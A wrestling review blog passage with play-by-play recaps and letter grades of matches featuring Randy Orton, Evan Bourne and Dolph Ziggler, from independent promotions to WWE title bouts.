Rating: D. Again, for a Cell match, this was awful but for a regular match this would have been ok. The Cell use here was better than in the Taker match, but at the same time there just isn’t enough here to validate having the Cell being in play here.

Also having seen it earlier in the night it makes it seem FAR less interesting. The psychology was more or less nonexistent here too. Overall just not good. Keep in mind: had this been a street fight or whatever, it’s probably a B. As for a Cell match though which it was, this was awful.

We’ll skip over 2010 to avoid Nexus, even though face Orton won another World Title at Night of Champions. Instead we’ll move ahead to Wrestlemania 27 and the apex of Orton’s feud with CM Punk and his New Nexus.

Randy Orton vs. CM Punk

The cylinder from last year is now a cube which still has the videos playing on them. Orton immediately takes it to the floor and pounds away, but Punk jumps over the steps and kicks them into Orton’s knees. Back in and Orton stays on the knees for a quick two count. Punk of course mocks the knee injury before stomping at the legs even more. Randy grabs a quick backbreaker but Punk comes back with a kind of Stunner to the leg for two.

Punk hits the running knee in the corner but Orton falls down before he can hit the bulldog. The straightedge one stays on the knee and puts Orton in the Tree of Woe. In a cool bit, Orton tries to pull himself up but Punk drops a top rope knee to take Randy right back down. The GTS is countered but Punk breaks up the RKO with a high kick for two. Punk loads up the Macho Elbow but Orton crotches him down instead. A superplex puts Punk down but the cover is very delayed and only gets two.

Punk wraps the knee around the post a few times and Orton is in big trouble. Off to a modified Indian deathlock for a bit but Orton fights back and slugs Punk down to take over. Punk comes back with a basic kick to the knee and there’s the Anaconda Vice. Orton rolls over and the fans never once seemed nervous about a tap out. CM heads out to the apron and is rammed into the post, followed by the Elevated DDT. Orton loads up the Punt but the knee gives out. Punk heads to the outside and loads up the springboard clothesline but dives right into the RKO for the pin by Randy.

Rating: B. Good solid match here which should have been the end of the feud, but since this is WWE, there was a gimmick rematch the next month because that’s how WWE books feuds. You know, because WRESTLEMANIA isn’t good enough to end a story at. Anyway, very good match here between two guys with solid chemistry together.

Just over a month later, Orton would jump to Smackdown and receive a World Title shot on his first night on the show against new champion Christian.

Smackdown World Title: Randy Orton vs. Christian

This show has flown by it seems. Regarding Christian’s pop, in the words of Riddler from Batman Forever, “Your entrance was good, his was better.” Headlock by Orton to start but Christian gets a shoulder for two. Orton hammers away and the crowd eats it up with a spoon like soup or Jello or pork or other things eaten with a spoon. The champ sends him to the floor and gets a delayed baseball slide to take Orton down, only to be taken down as well as we take a break.

Back in the ring with Orton in total control. Orton works on the ribs and gets a reverse waistlock (looks like he’s about to hit a German) which looks like the cover of a very freaky Christmas card. They hit the floor via a Cactus Clothesline by Orton as we take break #2. Back with Christian holding a chinlock for only a few seconds. Orton gets a belly to back and both guys are down.

They slug it out a bit and Orton hits that gorgeous dropkick to put Christian down. He goes all psycho but Christian gets the pendulum kick in the corner and a middle rope missile dropkick for two. Guillotine over the top sets up a cross body off the top for two for Christian. Fans are way into this. Middle rope elbow (love that move still) hits and let the clapping begin!

For some reason Christian charges at him and gets caught by a powerslam for two. Christian slides to the floor to try a right hand to Randy as he’s in a 619 position but Orton avoids it to hit the elevated DDT for two. Angle Slam is countered into a reverse DDT for two. Slam hits this time and it’s RKO time. Since it’s the first attempt it’s countered as is the Killswitch. Christian goes to the middle rope and tries a spinning something off of it, proving why he’s an idiot as YOU DON’T JUMP AT ORTON! RKO ends the 5 day reign at 10:08 shown of 17:08.

Rating: B. Good match here and Christian definitely looked strong throughout. People are going to complain about the reign looking bad due to it being too short, but at the same time he had two matches and this was by far the weaker one and this was a very good TV match. Orton is a far bigger star and Christian got the reign that everyone wanted him to get. The fanboys will be up in arms over it, but you have to just ignore them as they’ll never be pleased. He got his title, he got his moment, he had two great matches and lost it. No harm no foul in my eyes.

Again we’ll skip 2012 which had almost nothing interesting for the most part as Orton would feud with Ziggler, Del Rio, and the Wellness Policy. Orton would eventually feud with Shield alongside Sheamus and Big Show. The trio would be beaten by Shield at Wrestlemania XXIX, so Orton and Sheamus squared off on Raw the next night. This was nothing short of bizarre and warrants inclusion.

Sheamus vs. Randy Orton

They shove each other to start and the fans do an OLE chant. Orton hits a snapmare but Sheamus avoids a knee drop. Sheamus hits a pair of knees for his own for two and starts working on the arm. Orton comes back with another knee to the chest as the match keeps going. Randy hooks a chinlock as the fans think a four minutes old match is boring.

Now Sheamus hooks a chinlock as the announcers talk about going to London in a few weeks for Raw. Now the fans chant for Rob Van Dam. Now it’s HBK. Orton slowly stomps away as the match is completely ignored. The fans are now chanting for JBL as Sheamus gets two off the rolling fireman’s carry. Sheamus goes up top and the fans chant for Lawler. This is BIZARRE. Orton dropkicks Sheamus out of the air and now they’re chanting Cole as we take a break.

Back with the fans chanting what sounded like DDP and then ECW as Sheamus makes a comeback. The Irish Curse hits for two as the crowd is doing the Wave. JBL: “I wish Michael would drown in it.” Sheamus hits his knee to the ribs and the ten forearms in the ropes as the fans suddenly start cheering along. A suplex brings Orton back in as Sheamus is smiling. Orton’s backbreaker puts Sheamus as we get a Randy Savage chant. Even the announcers are giving up at this point.

The powerslam and t-bone suplex put Sheamus down as the HBK chant starts again. There’s the Elevated DDT and Orton loads up the RKO, only to be shoved off into White Noise. I think the fans are booing Sheamus but how can you tell in this match? The Brogue Kick misses and here comes Big Show as I think everyone knew was about to happen. He throws Sheamus into the post, presumably ending the match at 15:10. Fans: “Thank you Big Show.”

Rating: N/A. I have almost no idea what happened in this match but the crowd stole the show here. The thing I don’t get is that while the match was slow paced, it wasn’t THAT bad. This is a case where the fans just did not care what was going on and found ways to entertain themselves. I’ve never seen anything like this but it was awesome in a way. For an actual grade, we’ll go roughly C- or so.

We’ll head back to reality now as Orton is in the Money in the Bank match at the PPV of the same name.

CM Punk vs. Rob Van Dam vs. Christian vs. Sheamus vs. Daniel Bryan vs. Randy Orton

RVD, Bryan and Punk get good reactions but the fans aren’t impressed with the others. Everyone goes after RVD to start and knock him to the floor. The remaining four go after Sheamus before pairing off themselves. We’re quickly down to Bryan vs. Punk and the fans go nuts in a hurry. Van Dam is knocked off the apron and into a ladder as the two stars go at it. Bryan almost botches the backflip but counters the GTS into a YES Lock attempt, only to have everyone not named RVD make the save with a ladder.

Van Dam is back in now to clean house and pose a bit. Some baseball slides drop Punk and Sheamus before Rob drops Christian onto a ladder. Rolling Thunder onto Bryan onto the ladder takes Daniel out but it’s Orton sending Van Dam to the floor. Rob kicks him down and loads up the Five Star onto Orton onto the ladder but Christian breaks it up with a short ladder. Christian loses a fight to Sheamus over a full sized ladder but Van Dam breaks up the pale one’s climb with Sheamus landing on the ladder on the way down.

Sheamus is up almost immediately and rams various people into the barricade before bridging a ladder between the apron and the announce table. Bryan escapes a powerbomb through the ladder and hits a running knee to the face from the apron. Punk is loading up a ladder but Orton makes the save. Another ladder is brought in and all six climb up on two ladders with the briefcase being knocked away. All six fall down and Orton is holding his knee.

It’s Sheamus on his feet first and cleaning house before going up, only to be caught by Bryan. We get the ten forearms on the top of the ladder but Punk stops Sheamus from pulling down the case. Sheamus and Punk slug it out in the corner but Punk hits the running knee to take him down, followed by riding the ladder down onto his back. Orton comes back in and suplexes Punk into the ladder followed by the Elevated DDT.

Christian comes back in and spears Randy down but Van Dam knocks him off the ladder. The fans of course want tables as Christian goes up again. Van Dam is cut on the forehead. They both go up but Van Dam jumps to another ladder as Christian falls. The splash off the top of the ladder crushes Christian but Sheamus shoves Rob off the ladder. Bryan is back in to kick both of them before going into his usual insane rush.

He throws Sheamus THROUGH a ladder and goes up top…..but Curtis Axel of all people comes out with a chair to beat him down. He lays Bryan out with his finisher on the floor but walks into a GTS. Heyman comes out to yell at Axel because he wants Punk to win. CM starts a very slow climb while holding his neck….and Heyman of course screws him by ramming another ladder into him. Punk is busted open BAD and here’s Van Dam going up the ladder, only to have Orton make the save with an RKO. Orton pulls down the case to win at 26:31.

Rating: B-. Well that happened. Seriously that’s about all there is to it. Everyone was about the same but the winner wasn’t terribly obvious for most of the match. It wasn’t bad or anything but you expect more when you have this level of talent in the match. At the end of the day though there was no hatred between these guys and that makes for a duller match. The Heyman stuff was pretty obvious but it sets up Lesnar vs. Punk at Summerslam.

Orton would cash in at Summerslam and turn heel in the process. This would make him champion heading into the end of the year, where he would feud with Cena to be unified champion. The unification match was held at TLC 2013.

WWE World Heavyweight Championship: Randy Orton vs. John Cena

TLC match, winner take all. They have a ton of time to used for this too. Naturally we get big match intros and we’re ready to go. They head into the corner to start and Cena grabs a headlock. The wrestling gets boring though and we get our first ladder and table with the wooden one being set up in the corner. Orton escapes an AA through the table and heads to the floor for a chair. Cena can’t avoid the shot to the back and Randy is in control.

They head outside again but Orton misses a chair shot and hits the post, allowing Cena to pick up the chair. A series of chair shots puts Orton down and John loads up another table on the floor. The distraction lets Orton send him into the steps to take over again as the dueling Cena chants begin. Orton tries to climb but Cena makes a fast save. The ladder is thrown to the floor and Orton headbutts him down. Some kicks to the ribs have Cena in trouble but he comes back with knees and right hands, only to walk into the powerslam.

Randy brings in another ladder but gets it rammed into his ribs, allowing Cena to climb. Orton quickly suplexes him down but misses a ladder shot, sending the ladder to the floor. That’s fine with Orton though as he cracks Cena in the back with a chair before wedging it into the corner. Cena blocks the shot into the chair and comes back with his finishing sequence, only to have Orton poke him in the eye and send him into the chair. Another ladder is brought in but Cena makes yet another save.

They both fight on the ladder until Cena throws Orton over the top and through the table. He can’t climb that fast though and Orton pulls him down for an RKO. Both guys are down again but it’s Cena up first with a clothesline to send him to the floor. Cena blasts Orton in the head with the steps and Randy might be busted a little bit. John brings in another table, giving us two tables in opposite corners. With all of the metal stuff at ringside, Orton hits Cena in the head with the microphone to take over again.

Orton loads up the announce table but instead clears out a path to Cena. John avoids the Punt though and catches Orton in an AA through the table to put both guys down again. Cena very slowly gets back in and grabs both belts without pulling them down. Instead it’s Orton shoving the ladder away to leave Cena hanging, allowing Orton a free shot with the chair. Cena comes right back with a spear through one of the tables and both guys are down again.

Randy heads outside again and starts peeling back the mats to find some hidden handcuffs. Cena gets tied to the bottom rope and Orton teases him with the key. This didn’t work at Breaking Point but call backs to old matches are usually fun. Cena tries to break the chain as Orton goes to pick up the big ladder for some shots to Cena’s ribs.

Randy goes back inside as Cena beats on the cuffs with a chair to no avail. Cena pulls hard enough to rip the bottom rope off and go up to knock Orton off the ladder but he only has one free arm due to the rope. Orton grabs the rope and uses the power of gravity to pull Cena down, sending him head first into the table which DOESN’T BREAK. That looked bad. Orton goes up again and pulls down both titles for the surprise win at 24:35.

Rating: B. I liked the match and the ropes idea was good, but that ending came out of nowhere. Given how badly Cena’s head went into that table, I wouldn’t be shocked if he had an actual injury. Orton winning makes more sense but I’m kind of shocked it was clean. Well as clean as you can get in a TLC match of course. Good stuff here but the ending leaves a lot of doors open.

I’m a big Orton fan and have been for a long time. I know he may not be the most interesting wrestler in the world but the guy is capable of having good matches with almost anyone. Yeah he gets repetitive a lot, but he has an awesome finisher and has figured out his character perfectly. He’ll be around for several more years and will win a ton more World Titles, as he deserves to do.

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Wrestler of the Day – March 19: Evan Bourne

Today is Evan Bourne. Do you remember him?

Super Indy Semi-Finals: Matt Sydal vs. Fast Eddie

Eddie is the Wildside Jr. Heavyweight Champion. Sydal has Daizee Haze in his corner while Eddie has Sal Rinauro. Eddie gets taken down by a quick armdrag but he grabs the leg to take over, sending Eddie into the ropes. Off to a cross armbreaker but Eddie is in the ropes again. Back up and a spinwheel kick sends Eddie out to the floor to complain about his face.

Eddie gets back in and sends Matt into the ropes, allowing Sal to trip him up. A Samoan drop puts Sydal down but Eddie applauds himself instead of covering. Sydal flips out of a German suplex but walks into a clothesline to drop him to the mat. Matt fights out of a superplex attempt and hits a twisting Lionsault for two.

It was soon off to ROH, including this match at Joe vs. Punk II in October of 2004.

Angel Dust vs. Matt Sydal vs. Josh Daniels vs. Trent Acid

Daniels is some indy guy that I’ve heard of and that’s about it. Angel Dust is an indy guy known as Azrieal and had a one off appearance in the X-Division Showcase on Impact as Federico Palacios. Acid is an indy guy that died last year and Sydal is Evan Bourne and a heel here. This is called a survival match but it’s one fall to a finish. Ok then. Acid is in the shirt, Dust is in the bandana and Daniels has the gold/yellow trim. Got it.

Dust is part of a team called Special K which I believe was a bunch of drug addicts. This is a fast paced match but Dust loses a headlock for a second on Sydal in a bit of a botch. Acid sends Sydal (who I might call Bourne) to the floor and it’s off to Daniels. I think if you go to the floor it’s the same as a tag. Daniels sets for a dive but runs into a forearm from Acid. Dust tries a huge moonsault to the floor but misses everything.

The announcers have no idea who is legal here. Everyone is back in now and it’s a big brawl still. A Blue Thunder Bomb gets two for Acid. I think it’s Daniels vs. Acid who are legal but Dust tags himself in. Daniels is like cool man and fires off some kicks. Sydal comes in out of nowhere and tries a shooting star but lands on his feet. Everything breaks down and Acid hits a reverse inverted DDT on Sydal but Daniels hits a German on Dust and they’re legal so Daniels gets the win.

Rating: C. Fun match but it was totally insane. The fans liked Acid the best and were MAD when he lost. Still though, this one got too insane and it was hard to tell what was going on at all by the end of it. That can get very annoying and it did so here. Not a horrible match or anything but it was too big of a mess to make much sense.

Matt Sydal/Shingo/CIMA vs. Delirious/Austin Aries/Roderick Strong

Sydal is more commonly known as Evan Bourne as I mentioned above. Shingo is from Dragon Gate and CIMA might be as well. His name is pronounced Shima so this could lead to some misspellings. Also, I’m not capitalizing his name again. It’s the same thing despite what some would have you believe. Delirious is….yeah.

Aries is the only two time ROH World Champion so he’s something special here. Strong is a guy with something like 16 ways to hit a backbreaker. This is under Dragon Gate Rules which aren’t explained. Strong, Aries and Sydal were in a team called Generation Next together.

Apparently you don’t have to tag to switch off but you have to be on offense. Ok that makes sense. Delirious goes into a trance and goes insane once the bell rings. He’s definitely interesting if nothing else. He’s great in the ring if nothing else. He starts with Sydal who I’ll likely call Bourne at least once. This is your usual insane Japanese match and apparently the fans like Cima.

There isn’t much to talk about here other than it’s just general insanity the whole time. This is what you call a spotfest with some mild wrestling involved. It’s not bad or anything, but it’s not comparable to traditional matches. It’s weird seeing Sydal being considered a serious competitor rather than a spot monkey or jobber.

The fans like both teams. Aries is getting beaten down pretty fiercely. I think the team with the Japanese guys and Sydal are the heels even though Daniels, Sydal’s partner, was ridiculously popular. Fisherman’s suplex gets two on Aries. Strong gets the tag and comes in and he and Delirious clean house.

Cima is getting his head handed to him. With everyone brawling on the floor, Sydal goes up top and the crowd just rises to their feet. Great visual there. Delirious hits Shadows Over Hell (Splash to the back of a guy not on the mat) is followed by a 450 from Aries. This is totally insane. Cobra Stretch, Delirious’ submission, is broken up. Cima hits a package piledriver on Delirious for the pin.

Rating: B. This falls into that gray arena of entertaining but bad as far as flow or anything like that goes. Then again that’s kind of the point of the Dragon Gate promotion. This was supposed to be completely insane and it more or less was. It was fun though so I can’t complain much at all.

Human Tornado vs. Matt Sydal

Matt Sydal vs. Johnny Punch

However he would only hold the title for a few months as WWE severed ties with OVW and brought Sydal up to the main roster as Evan Bourne. He debuted on ECW on Sci-Fi on June 3, 2008.

Evan Bourne vs. Shelton Benjamin

Shelton gets his wits together and takes Evan down for some choking. A hard whip into the corner puts Bourne down and we hit the armbar. Bourne gets dropped by a clothesline and Shelton throws him to the floor. Shelton starts jawing with Kofi before picking Evan up for a powerbomb on the floor. Instead he throws Evan at Kofi and slides back in to beat the count.

Evan would get over with the fans and be voted into the ECW Title match at Cyber Sunday 2008.

ECW Title: Evan Bourne vs. Matt Hardy

Henry got an embarrassing SIX percent. That’s just funny. Bourne has been around 8 months at this point? Really? He’s been around almost three years? I wouldn’t believe that if they hadn’t said it. Yeah that’s not right. He’s been there like 5 months and debuted in June of 08, so he hasn’t even been around two and a half years yet. That’s more like it. This is the rare face vs. face match which can work well if done right.

Bourne hits a NICE standing moonsault for two. This is a solid back and forth match that there isn’t much to say about as there isn’t much to make fun of. Bourne is good by the way, despite what people want to believe. Matt hooks an abdominal stretch and Matt picks up one of his legs to make that look even more freaky. Bourne counters Splash Mountain, which is a Razor’s Edge into a sitout powerbomb.

Side Effect gets two as Bourne really only has the Shooting Star in his arsenal but getting that move set up is easier said than done. His offense has evolved a good bit since then and he’s a more complete wrestler now. He counters…..something, with a spinwheel kick, making me smile since that’s one of my favorite moves. Striker throws out a bunch of obscure title changes that have happened here because SO many people care that Owen Hart and Jeff Jarrett beat Big Bossman and Ken Shamrock in Phoenix.

The Shooting Star misses but the Twist of Fate is countered here. This has cranked WAY up, and just as I say that the Twist of Fate hits to end it. This was one of Hardy’s more entertaining matches in a long time. He was in a groove at this point and he looked very good here.

Rating: B. Solid match as Matt was very entertaining at this point. He was good for the ECW Title since he was a big name that didn’t belong as world champion or anything like that, but he could go out there and pop the crowd, which is the idea of a character like him. This was a very entertaining match as they let Hardy be more like his old self and get a veteran finish, which was nice. It’s not an instant classic like Todd wants us to think, but this was good.

Chris Jericho vs. Evan Bourne

You can never accuse Jericho of not helping the young guys. You can tell Bourne is excited and fired up to be here which is a very nice thing to see. It’s great to see the young guys being given a chance. Even if they botch it, they’ve got a chance. The fans cheer for Jericho as we’re in the smark capital of the world.

Bourne hits a sweet dive off the top to the floor to take out Jericho. Jericho hits a standard dropkick which isn’t something that he throws out most of the time. It’s nice to see things like that so I can’t help but smile. Jericho hooks a chinlock and you can feel an energy here which is nice. There’s a nice German suplex as Jericho is busting out a lot of stuff here. Jericho gets a great roll through of a something into the Walls and Bourne is in trouble.

He makes the ropes of course but there was a chance that it could work there. That’s something I haven’t felt in a very long time. Jericho throws him to the floor and he hits the table. FREAKING OW MAN. Back in, Bourne hits a double knee to the top of Jericho (call it his shoulders I guess) for two. He goes for Air Bourne but takes WAY too long. He lands on his feet but eats the Codebreaker. Foot on the ropes though as this is a VERY good match.

Jericho just starts yelling at him to stay down and runs into a rollup for two. Not really anything to sweat but a nice one. Air Bourne is blocked again and we go up. Jericho gets knocked down but Jericho gets up AGAIN and crotches Bourne. Sorry for all the play by play here but this is back and forth. Jericho goes down a THIRD time and Bourne hits the Shooting Star to the back and GETS THE CLEAN PIN. WOW.

Rating: B+. I LOVED this. It’s not a great match, but dang it built up really well and Bourne gets the clean win. That is how you make a guy look great. Also, to everyone that has said Bourne has nothing, screw you all. This was a great match which he seems to have more and more of lately. Nah couldn’t be talent could it?

Evan Bourne/Mark Henry vs. John Cena/Michael Tarver

Bourne and Cena start us off and they shake hands. Bourne is skeptical about it, I guess because the months and months of Cena being a good guy, the helping Bourne and losing last night via cheating in a match Bourne tried to even the odds in and the proclamation that Cena read so begrudgingly, Bourne isn’t quite sure if Cena can be trusted. Cena tags out almost immediately and Tarver takes over as we go to a break.

Back with Henry beating on Tarver. Does someone want to explain to me why Bourne and Henry are a team again other than they both wear red? Tarver tries to make a tag but Cena keeps pulling his arm back. Tarver finally breaks Bourne’s momentum and goes to tag Cena but Cena drops to the floor and pulls out a Sharpie to sign some autographs. World’s Strongest Slam ends Tarver.

Rating: C. Going with average here because this wasn’t about the match whatsoever obviously. This is a nice introduction to the story that they’re going with here and it seems to be intriguing. I could see a few possible endings to this with the main one being Cena keeps rebelling until one day he joins willingly and turns full heel but I doubt it. Either way it’s something for him to do which doesn’t involve the title so all is fine there. The C grade isn’t indicative of the wrestling here but rather that the wrestling wasn’t the point here.

Jack Swagger vs. Evan Bourne

The fans want Ryder again.  Let it go already people.  Basic power vs. speed here with no one caring but it’s hard to complain about free wrestling.  Bourne does his speed moves to fly around everywhere and confuse Swagger but Jack catches him and works on the ribs.  We hit the reverse chinlock as the Bellas are in the front row with the beer dude.

Swagger does the pushup on the chest of Bourne which apparently ticks the small man off.  A back body drop of all things gets two for Jack.  Vader Bomb gets two.  Bourne starts his comeback with his usual kicks and basic offense.  He loads up the Shooting Star but has to jump off due to Swagger being up.  Big boot gets two.

Spinning DDT gets two and Bourne busts out the kicks.  Pretty awesome finishing sequence as Bourne sets for the Shooting Star but lands on his feet.  Swagger gets a sweet running charge into the gutwrench powerbomb which is countered into a sunset flip into the ankle lock which Bourne rolls through for the pin.

Rating: B-. I liked this quite a bit actually but I’m a fan of power vs. speed.  This was just a bonus match and it ate up about ten minutes, making the main event far more realistic with about twenty minutes instead of closer to thirty or thirty five.  That finishing sequence was rather good and the whole thing worked rather well, especially when it’s just a bonus.  Can’t complain about free wrestling, especially when it’s pretty good.

Tag Titles: David Otunga/Michael McGillicutty vs. Kofi Kingston/Evan Bourne

This is a rematch from last week. Lawler points out that the champions haven’t done anything with the belts. We get a Bushwhackers reference as Lawler says they had better charisma. That’s true at least. Bourne beats on McGillicutty to start but that doesn’t last long with Kofi coming in. After some more attacking he goes outside after both champions and gets caught easily.

Otunga comes in to work over Kofi, hitting a corner clothesline for a very delayed two. Off to a chinlock for a few seconds and here’s McGillicutty who hits a double team dropkick/atomic drop for two. JR says that was an almost perfect dropkick. Off to another chinlock and McGillicutty yells at Lawler, asking if that was impressive. In a cool move Kofi nips up into a headscissors and brings in Bourne. He cleans house with jumping knees and a spin kick for two. Kofi sends Michael to the floor and hits Trouble in Paradise to Otunga. Shooting Star Press gives us new champions at 5:00.

Rating: C. Eh just a quick match here. Otunga and McGillicutty aren’t horrible but they were boring as champions. Either way this wasn’t too bad but hopefully this starts a new thing in the division as JR and the announcers make it seem like it’s kind of a big deal. This wasn’t bad and them winning that fast was probably a good thing.

They would defend their belts at Hell in a Cell 2011.

Tag Titles: Air Boom vs. Dolph Ziggler/Jack Swagger

Cole: “And yes folks that name is your fault!” Ziggler vs. Kofi to start us off. See, this is old school booking: these were four guys in two singles feuds and they didn’t really have anything else to do after that so they were combined into one feud and made into tag teams which gives them new matches down the road while still being able to feud with the same people in a different feud. See it’s not that hard.

Ziggler gets beaten down for awhile but gets a boot up in the corner to take down Bourne and bring in Swagger. Everyone but Ziggler is in blue. We get into the standard Air Boom formula: hot start, then they get into trouble and by that I mean Bourne gets beaten down for awhile. Cole talks about how Vickie is going to get Swagger matches and spots he wants which is what you do as a manager. You have someone like Vickie who is a heat magnet and you have two guys like Swagger and Ziggler with talent but limited charisma. It’s a perfect match as they can do in the ring and she supplements it with the talking. Everyone wins.

Kofi comes in and Swagger pulls the rope down to send him to the floor so Ziggy can take over. Cole goes on a long rant about HHH and how horrible he is and Booker is like man I was in WCW so don’t try to tell me about politics. Not in so many words but it’s almost kind of maybe in a way implied. We mix up the formula a bit here so that Kofi is the one getting beaten down.

After Ziggler gets his beating in it’s the ankle lock by Swagger. Kofi escapes and hits a DDT to put both guys down. There’s the hot tag to Bourne and everything breaks down. Ziggler bails so Kofi takes Swagger down and breaks up the ankle lock with a top rope cross body. Bourne hits a standing moonsault to Dolph for two. The challengers set for some assisted powerbomb off the top but Bourne counters into a rana off the top to pin Swagger at 11:13.

Rating: B-. I liked this and I’m glad that they kept the belts on Air Boom. They need to build up a team like them so that we can have another team step up to challenge them. It doesn’t mean anything to have worthless teams lose and win the titles over and over again. Having a team like Air Boom on TV a lot and win the matches over and over again makes them interesting and builds up their reputation. See how it works?

Tag Titles: Epico/Primo vs. Air Boom

Neither team even gets intros. Great to see how well the new champs are treated. We actually get clips of the title change last night. There’s a fortune to be made in filming house show stuff and releasing like 3 hours of it for ten bucks on DVD or WWE.com or something. The matches are already there anyway so just film them. Epico vs. Bourne to start us off.

Bourne hits an awesome standing rana to Epico off the top to send him into Primo. Off to Kofi who cleans a house that wasn’t very dirty in the first place. Boom Drop gets two and it’s Trouble in Paradise time, but Primo breaks it up. The kick hits Epico a second later but the Shooting Star takes too long to hit. Backstabber keeps the titles on the champs at 2:20.

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Wrestler of the Day – March 16: Dolph Ziggler

TV Title Tournament First Round: Paul Burchill vs. Nick Nemeth

A hard uppercut drops Nemeth and a monkey flip gets two more. They trade rollups for two each until Burchill takes over with a slam. Nemeth avoids a moonsault and hits a running tornado DDT but Paul gets a foot on the ropes. Burchill tries to bail a few times in a row before rolling through a cross body and grabbing the tights to advance.


Spirit Squad vs. DX

Oh and for their big return, DX comes out first of course. This whole show is making my skull ache. So there is NO DRAMA here at all, even though the SS are the tag champions. This show needs to end, and they saved the worst for last. No one buys this as a legit challenge and they shouldn’t. It’s one fall, and the current OVW Champion is on the heel team.

Also Ross points out that the Squad has never beaten DX. That’s just brilliant: point out that this has been one sided. The Squad has air horns and matching outfits and all that jazz. Shawn and Mitch start us off. If my memory is right, he’s the least talented one. Let that sink in for a bit. Shawn gets ganged up on in the corner and beats all five of them up. Give me a break. HHH finally comes in since Shawn hasn’t broken a sweat yet.

This is pointless and I know this match has just gotten started. Johnny gets his nose busted up and comes in. He, I kid you not, pulls out a bandana with a Japanese sun and Japanese characters on it and pretends he’s the Karate Kid. A comedy match is ending the PPV. Shoot me. Please. HHH hits the Flair knee drop to further mess up his nose. Johnny is talented too but he was just too small to be worth much. And now he gets pantsed.

A quadruple team gets HHH so close to trouble that he can see it with a telescope. And he’s fine in like 8 seconds and tags Shawn to no pop at all. Shawn does his usual stuff and hits the elbow. Mikey hits what we would call Trouble in Paradise and actually gets a cover! Kenny gets a chair shot that comes maybe a foot away from Shawn’s head but whatever. Mitch gets a running start and jumps on a trampoline to get from the floor over the top rope for a bulldog.

I hate this match. I truly do. Shawn’s beating gets about as much heat as Antarctica so HHH comes in and beats them up. Mikey messes up on the trampoline so four of them are down. Kenny, for lack of the better term the leader, takes the Pedigree to end it. Mitch gets his face shoved into HHH’s back to end it with a Vince staredown.

Rating: F. The main event of a PPV had a guy being pantsed, air horns and trampolines. Do I need to make fun of this? There was NO drama at all here and it was more or less one sided the whole way. Horrible match so of course it got 18 minutes. At the end of the day, the Squad just wasn’t ready for this spot.

Nic Nemeth vs. Greg Jackson

Nemeth is Dolph Ziggler and he’s a natural. My cousin is named Greg Jackson but I have no idea who this guy is. I’d bet on a squash here. Jackson has a good armdrag if nothing else. AHA! Jackson is more commonly known as Trent Barretta. I knew I had seen him before. Good to see that the second biggest team on Smackdown has one guy that’s unrecognizable.

Sweet dropkick to take out Jackson on a springboard clothesline. Nemeth has half black hair here which is a weird look for him. Jackson makes a short comeback but a jumping Downward Spiral ends Jackson and completes this glorified squash.

Rating: D+. Again not much here but they were kind of flying through this since it was only a squash. The match never really went anywhere but for a glorified squash what can you really ask for? At least the right guy won as Ziggler is by far and away the better talent of the two.

Batista vs. Dolph Ziggler

Ziggler would tread water for the next several months but would get an Intercontinental Title shot at Hell in a Cell 2009.

Intercontinental Title: John Morrison vs. Dolph Ziggler

WOW this feud seems like it was years ago when it was like 4 months. Morrison comes out first which is really weird when you think about it. Ziggler’s music is awesome if nothing else. That shinny thing that Dolph does to get out of his vest is nice. This is the day after Morrison turned thirty in case you were interested for some odd stalker based reason. What in the heck is up with Dolph’s hair? And why hasn’t Word heard of the word Dolph?

Didn’t it ever see Rocky IV? It amazes me how Morrison showed so much promise and Miz is flat out better than he is at the moment. They’re using a more mat based thing here which is odd but it’s not terrible I suppose. Just as I say that Morrison goes to the air and misses Starship Pain.

Ziggler is good at being the obnoxious heel but he needs a different name if he’s ever going to be taken seriously. But hey, it’s “realistic” right? Love that corner splash he does too. He’s a lot better technically than I would have guessed him to be. Morrison starts his comeback and the crowd is really hot tonight which makes this a better show as it does in all cases.

That standing Shooting Star Press is either overrated or awesome and I’m not sure which. They’re hitting some sweet near falls here. Ziggler uses a jawbreaker of some kind but it came off looking really weird. Morrison sells the neck work that Ziggler did. That’s a great sign as so few people do it.

I’m liking this match a good deal indeed. The near falls are getting better and better. Starship Pain is countered again which is good as Ziggler was laying there forever and it would have sucked if it hit. Crowd chants THIS IS AWESOME and they’re right. Morrison counters the ZigZag and hits a much faster Starship Pain to get the pin. Sweet match.

Rating: B+. Probably too high but this was a very fun match. The near falls were great and at times they had me believing Morrison wasn’t a lock to win which is the best thing a match can do: get you to believe something you know it’s true and that’s what they did here. This was very fun though as it was given the time to flesh itself out as it had over 15 minutes to work with. The IC Title hunt was just awesome at this time and this was no exception.

Kofi Kingston vs. Dolph Ziggler

We see a quick recap of Vickie costing Kofi the win last week. I still can’t stand her. This is non-title and if Dolph wins he gets a title shot next week. Ziggler dominates for the most part here, injuring Kofi’s ribs early on. He even busts out a reverse slam which is a cool move. The problem here is that he’ll likely wind up by going with the sleeper to end it which has nothing to do with the ribs.

We get a Tom Arnold and Roseanne reference just to make this either awesome or awful. Answer as to which of those it is coming later. After a LONG beatdown, Kofi starts making his comeback. This has been quite good actually. Ziggler hits a Fameasser (Striker says it made Kofi famous) for two. This is a prime example of why he doesn’t need Vickie: he’s having a very solid match with one of the most well rounded guys on the roster. Why does he need Vickie?

She slaps Kofi and he gets all ticked off and beats the tar out of Dolph. He goes so insane that it’s enough for a DQ. Dolph is thrown onto the announce table and this is a beating. Referees finally pull him off and Ziggler is declared the winner. Solid match here and a great post match thing.

Rating: B-. Another good match here with neither guy being able to beat the other definitively. I like seeing Kofi show emotion like this as he doesn’t do it enough. He just snapped and couldn’t take it anymore which worked well for him. I liked this as Smackdown continues this whole wrestling thing and it’s working. What an idea.

Intercontinental Title: Kofi Kingston vs. Jack Swagger vs. Dolph Ziggler

That’s what I figured would be the opener. Nothing like a hot opener to be, you know, the opener. King says that Vickie isn’t as cute as Bill Dundee in another line that most people won’t get at all. Weird kind of three way brawl to start and we get a LOUD Kofi chant. Ziggler to the floor and Cole and Lawler start chatting about ladder matches which should be interesting.

First ladder brought in by the champion but both challengers shove him off as the champion touches the belt. Sweet dropkick by Kofi takes down Swags. In a smart spot Kofi shoves the ladder down onto Swaggers’ hands/arms as he’s using the ropes to get up. Another ladder in now, also by Ziggles. Swagger has to get his arm looked at as Kofi lands back first on a ladder.

Slingshot from the mat into the ladder draped over the middle rope. It may help if I say Swagger launched Ziggler into it. This is going WAY too fast to call play by play and such. Ziggler hits a Fameasser onto Kofi onto a ladder onto Swagger. Everyone is out so Vickie comes in. Lawler: who does she think she is, Michael Cole? She tries to go up for no adequately explored reason so Kofi starts to tip over the ladder until the heels make the save.

